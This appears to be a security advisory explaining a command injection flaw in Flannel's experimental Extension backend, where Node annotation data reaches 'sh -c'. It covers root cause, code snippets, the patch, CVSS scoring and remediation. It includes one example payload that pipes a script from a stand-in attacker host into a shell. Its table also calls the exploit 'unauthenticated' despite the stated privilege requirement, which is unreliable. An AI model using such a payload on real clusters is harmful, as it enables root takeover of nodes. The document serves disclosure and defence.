Mar 27, 2026·6 min read·4 visits
The Flannel experimental Extension backend evaluates unsanitized node annotation data through a shell wrapper. Attackers with RBAC permissions to modify Node objects can inject shell commands, achieving root-level execution on the Kubernetes node.
Flannel versions prior to 0.28.2 contain a high-severity command injection vulnerability in the experimental Extension backend. Unsanitized Kubernetes Node annotations are passed directly to a system shell, permitting an attacker with node modification privileges to execute arbitrary commands with root permissions on the host.
Flannel is a network fabric designed for Kubernetes clusters. It supports multiple backends to manage container networking, including an experimental Extension backend. This backend allows administrators to prototype custom networking logic using external scripts or binaries.
Versions of Flannel prior to 0.28.2 contain a command injection vulnerability (CWE-77) within this Extension backend. The flaw occurs when the backend processes subnet lifecycle events and reads configuration data from Kubernetes Node annotations. The application fails to sanitize this input before passing it to a system shell.
An attacker with low-level Kubernetes RBAC permissions can exploit this flaw by modifying a Node's annotations. The vulnerability yields arbitrary command execution with root privileges on the underlying host node. The attack complexity is elevated because the cluster must explicitly enable the experimental Extension backend.
The root cause lies in the Extension backend's reliance on shell wrappers to execute user-defined hooks. Flannel triggers commands during lifecycle events such as PreStartupCommand, PostStartupCommand, SubnetAddCommand, and SubnetRemoveCommand. These hooks are designed to pass relevant subnet data to external scripts for processing.
In vulnerable versions, the application reads data from the flannel.alpha.coreos.com/backend-data Node annotation. The application unmarshals this JSON data and pipes it directly into the configured command. Crucially, the execution mechanism utilizes the sh -c pattern to evaluate the command string.
Passing unsanitized, user-controlled input into a shell wrapper creates a textbook command injection condition. The shell interpreter evaluates metacharacters within the input stream. An attacker can use semicolons, backticks, or command substitution constructs to break out of the intended command context and execute arbitrary system commands.
The vulnerability requires the attacker to control the contents of the backend-data annotation. Kubernetes API access controls govern this annotation. Once the attacker injects the payload, the Flannel daemon automatically processes the annotation update or the next subnet event, triggering the payload execution.
Analysis of the vulnerable code reveals the unsafe command execution pattern in the subnet event handler. The runCmd function wraps the execution logic and accepts the attacker-controlled backendData as input. This input is formatted and passed to the sh binary along with the user-defined command string.
The vulnerable implementation operates identically to the following pattern:
// Vulnerable execution pattern
cmd_output, err := runCmd([]string{
fmt.Sprintf("SUBNET=%s", evt.Lease.Subnet),
fmt.Sprintf("PUBLIC_IP=%s", evt.Lease.Attrs.PublicIP)},
backendData, // Attacker-controlled JSON payload
"sh", "-c", n.subnetAddCommand)The application passes the backendData directly to the shell, allowing the shell to parse and execute any embedded metacharacters.
Commit 08bc9a4c990ae785d2fcb448f4991b58485cd26a mitigates this flaw by eliminating the shell wrapper entirely. The patch transitions the execution model to use the os/exec package directly. Commands are split into discrete arguments using strings.Fields, preventing the operating system from interpreting shell metacharacters.
The patched code also introduces a custom expandVars function to handle environment variable interpolation safely.
// Patched implementation excerpt
func expandVars(envMap map[string]string, args []string) []string {
expanded := make([]string, len(args))
for i, a := range args {
expanded[i] = os.Expand(a, func(key string) string { return envMap[key] })
}
return expanded
}This function uses os.Expand with a strictly controlled environment map, ensuring that user-provided data cannot manipulate the command structure.
Exploiting CVE-2026-32241 requires network access to the Kubernetes API server. The attacker must possess credentials or a service account token with RBAC permissions that allow updating Node resources. Specifically, the attacker needs the ability to modify Node annotations.
The attacker initiates the attack by crafting a malicious payload formatted as JSON. This payload includes standard shell command separators followed by the target command. The attacker writes this payload to the flannel.alpha.coreos.com/backend-data annotation on a target Node object.
An example payload takes the form {"key": "value; curl http://attacker.com/shell.sh | sh;"}. Once the Kubernetes API server accepts the Node update, the Flannel daemon running on the respective node observes the change. The daemon unmarshals the annotation and invokes the Extension backend hook.
The Flannel process passes the payload string to the shell wrapper. The shell executes the benign portion of the payload, reaches the semicolon, and subsequently executes the attacker's injected command. The command runs within the context of the Flannel daemon, which typically operates as root on the host system.
Successful exploitation of this vulnerability yields complete compromise of the affected Kubernetes node. The Flannel daemon requires elevated privileges to manage host networking interfaces, routing tables, and iptables rules. Consequently, the injected command executes with root privileges on the underlying host operating system.
An attacker with root access to a Kubernetes node can access sensitive files, including Kubelet credentials, pod service account tokens, and mounted secrets. These credentials facilitate lateral movement across the cluster. The attacker can escalate privileges within the Kubernetes control plane or access data residing in other pods scheduled on the compromised node.
The CVSS v3.1 vector is CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H, resulting in a base score of 7.5 (High). The high attack complexity (AC:H) reflects the specific configuration requirement: the cluster must utilize the experimental Extension backend. The low privilege requirement (PR:L) indicates the need for basic Kubernetes API access.
The impact remains isolated to clusters explicitly configured to use the experimental backend. Clusters utilizing the default vxlan, wireguard, or host-gw backends are not vulnerable to this specific attack path.
The primary remediation strategy requires upgrading the Flannel daemonset to version 0.28.2 or later. Administrators should apply the updated manifests to the Kubernetes cluster. The daemonset upgrade will restart the Flannel pods across all nodes, applying the patched os/exec implementation.
Administrators who cannot immediately patch the deployment must disable the experimental Extension backend. Flannel supports several stable, production-ready backends that do not execute user-defined scripts. Switching the network configuration to use vxlan or wireguard completely eliminates the vulnerable code path.
Defense-in-depth measures include restricting Kubernetes RBAC permissions. Administrators should audit roles and clusterroles to ensure that only trusted identities possess the ability to modify Node resources. Removing the patch and update verbs for Node objects from untrusted service accounts limits the attack surface.
Security teams should monitor Kubernetes audit logs for suspicious modifications to Node annotations. Specifically, alerts should trigger on unauthorized changes to the flannel.alpha.coreos.com/backend-data key. Detecting shell metacharacters within this annotation provides a strong indicator of attempted exploitation.
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
flannel flannel-io | < v0.28.2 | v0.28.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-77 |
| Attack Vector | Network |
| Privileges Required | Low (Node Annotation Access) |
| CVSS v3.1 Score | 7.5 (High) |
| Exploit Status | Unauthenticated RCE (Host Root) |
| Patched Version | v0.28.2 |
Improper Neutralization of Special Elements used in a Command ('Command Injection')